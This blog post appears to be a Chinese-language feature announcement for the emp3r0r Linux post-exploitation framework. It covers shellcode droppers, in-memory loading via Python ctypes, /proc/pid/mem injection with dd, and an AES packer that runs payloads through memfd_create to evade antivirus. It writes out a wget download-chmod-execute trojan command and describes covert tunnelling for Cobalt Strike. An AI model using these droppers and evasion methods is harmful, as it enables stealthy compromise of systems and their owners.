介绍
本文是emp3r0r:Linux用户打造的Linux后渗透框架的后续。
首先感谢大家对emp3r0r的肯定,如果有什么想法可以在评论区交流。
最近添加了些我觉得可能有用的东西,今天要介绍的就是dropper和packer两个新功能。
dropper顾名思义是用来drop东西的,之所以会用到它,是因为我们一般倾向于分阶段(staged)的加载技术,为什么分阶段,因为你第一阶段可能处于一个比较受限的环境,不能直接把你的东西都甩上来。简单地理解,dropper可以是一段shell命令,用来drop我们的agent(也就是木马)ELF文件,比如脚本小子喜欢用的wget http://download.host.com/agent && chmod 755 agent && ./agent
。
我们不是脚本小子,所以我们更愿意用一些高级的dropper,比如大家都喜欢的内存加载,这也是本文所要介绍的主题之一。
至于说packer,你们一般叫它加壳。加壳的一个主要目的是避免被查杀,不过由于emp3r0r的自身设计,每个目标主机上运行的agent都是不同的文件(靠hash来查杀的懒人们可以歇歇了),一般是不太容易被常见的主机防护软件查杀了。不过为了高级些,也为了配合内存加载的需要,我还是搞了个加密的packer。
接下来进入正题。
Dropper 与Shellcode
怎么生成
先说下为什么用shellcode。因为
1. 这个东西可以注入到其它进程中;
2. 理论上它可以没有任何依赖条件。
菜鸡如我从来没有写过shellcode,就先拿msfvenom介绍下吧:
我们想要的是一个可以下载执行ELF文件的shellcode,很遗憾它没有。它甚至连一款实现了http通信的shellcode都没有,仅有的那个http的meterpreter payload,并不是个shellcode(sorry)。
所以不会写shellcode又想演示一下的话,就用这个脱裤子放屁的linux/x64/exec
吧。怎么用?你直接把它的exec命令设成wget http://download.host.com/agent && chmod 755 agent && ./agent
这样。
我们要生成一个字节串供之后emp3r0r使用:
稍微解释下,lwp-download
是libwww-perl
的一部分,很多linux发行版默认会有这个包。/dev/shm
是linux的shared memory挂载点,放到这里就是放到了内存(虽然比较显眼)。
纯bash实现文件下载
现在的bash基本上都支持TCP pseudo device,我们完全可以在此基础上实现一个HTTP下载功能。
参考shell tips的示例,我们可以把它做成一个subshell命令:
结合前面的,把它做成一个one liner:
所以我们就可以把这个one liner作为msfvenom的命令参数来生成shellcode,这样可以兼容更多的目标主机。
当然,为了让shellcode更短,你完全可以minify一下上面的脚本,也可以删掉不必要的部分。
Shellcode加载
Python
你不能直接拿shell脚本去执行shellcode,对吧?
不对。
有一些几乎所有linux主机都会预装的工具程序,结合它们写个shell脚本,实现一个shellcode loader还是可行的。
比如python(我知道这不是bash,但你还得从bash或者别的什么shell来加载python吧?)
python实现这一点是通过ctypes。这是一个提供C调用接口的功能,让你可以在python中直接调用C的函数,所以我们可以利用这一点调用glibc的函数来加载shellcode。
根据sektor7的文章,思路大致是:
加载libc到当前python进程
使用
mmap
分配一块具有写入和执行权限的内存区域把shellcode写进去
cast我们的shellcode buffer类型,以便作为“函数”来调用:
(void *)shellcode
call我们的shellcode
代码如下:
我把这个脚本集成到了emp3r0r的dropper模块中,如果你需要加载自己的shellcode,请按照Wiki的说明操作。
最终会生成一个shell命令,直接在目标主机运行即可:
下图是全过程的示意:
dd
就不解释dd是干啥的了。
这里的思路是启动一个进程如sleep,然后用dd朝它的内存写入shellcode。
首先,在linux中,大部分情况下,我们可以修改子进程的内存(/proc/pid/mem
)。我们的bash脚本会启动一个sleep
进程,然后使用dd
来替换当前bash,最后dd
就成为了sleep
的父进程。
然后,我们把shellcode写到sleep
的text段某处,等待它被执行。
但我还没搞成功,下次再写篇文章吧。
Packer加密与运行
这个packer完全使用Go开发,改编自https://github.com/guitmz/ezuri。
思路是把agent的ELF文件进行AES加密,拼接到stub上,stub运行的时候,会定位原ELF的位置,将它解密。
解密之后用memfd_create
给它找个匿名内存fd,写进去,并执行。
从内存启动
自Linux 3.17之后,memfd_create
可以返回一个匿名的内存区块,让用户可以像使用普通的FILE *
一样使用它。所以我们的packer首选这个启动方式。
用Go一样可以调用syscall,而memfd_create
只能通过syscall调用,没有暴露其它什么接口。
最后如果memfd_create
失败,我们就退回简单的tmpfs方法,也就是/dev/shm
。
更新计划
接下来会添加的几个功能:
从CC端到agent端的反向端口映射。这个功能可以让其它后渗透工具(如cobalt strike)的agent通过emp3r0r的通信隧道连接它们自己的CC服务
使用GDB对目标主机的进程注入shellcode,或者对自行启动的子进程注入(如果权限不足)。这个功能让你进一步运行cobalt strike或其它工具变得更加方便和隐蔽
用dd实现的一个dropper
鸣谢
文中提到的参考资料以及背后的大佬们
云舒大佬对上篇文章的转发
正在看这篇文章的你